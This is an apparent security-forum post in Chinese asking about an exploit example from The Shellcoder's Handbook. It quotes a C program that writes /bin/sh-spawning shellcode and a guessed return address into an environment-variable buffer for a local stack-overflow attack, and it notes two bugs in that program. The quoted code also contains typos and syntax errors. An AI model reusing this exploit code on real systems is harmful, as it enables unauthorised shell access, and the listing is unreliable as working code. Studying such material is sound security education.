-
-
[讨论]关于 The Shellcoder's Handbook 书中1例的疑问?
-
发表于:
2008-7-22 16:36
6456
-
[讨论]关于 The Shellcoder's Handbook 书中1例的疑问?
首先感谢arhat大侠的翻译工作。
不过书中第一个生成shellcode的buf的示例程序我觉得有问题,所以在这里请教一下。
英文版第25页,中文版第21页,程序代码如下:
#include <stdlib.h>
#define offset_size 0
#define buffer_size 512
char sc[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\xle\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
unsigned long find_start(void){
__asm__("movl %esp,%eax");
}
int main(int argc, char *argv[])
{
char *buff, *ptr;
long *addr_ptr, addr;
int offset=offset_size, bsize=buffer_size;
int i;
if (argc > 1) bsize =atoi(argv[1]);
if (argc > 2) offset =atoi(argv[2]);
addr = find_start() – offset; //<---------书后面的shell的输入中,argc都是2,这样offset为0,减这个offset是没有意义的,并没有改变shellcode的地址。结果是按书后面每次的shell操作示例后addr都是同一个值,不可能在只有一个参数时猜到shellcode的地址的。
printf("Attempting address:0x%x\n", addr);
ptr = buff; //<---------这里buff本身并未初始化,怎么能用来给另一个指针赋值
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr += 4;
for (i = 0;i< strlen(sc);i++)
*(ptr++) = sc[i];
buff(bsize-1) = ‘\0’;
memcpy(buff,”BUF=”,4);
putenv(buff);
system(“/bin/bash”);
}
2个问题我已经作为注释标在程序对应行的后面,请大侠指点
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课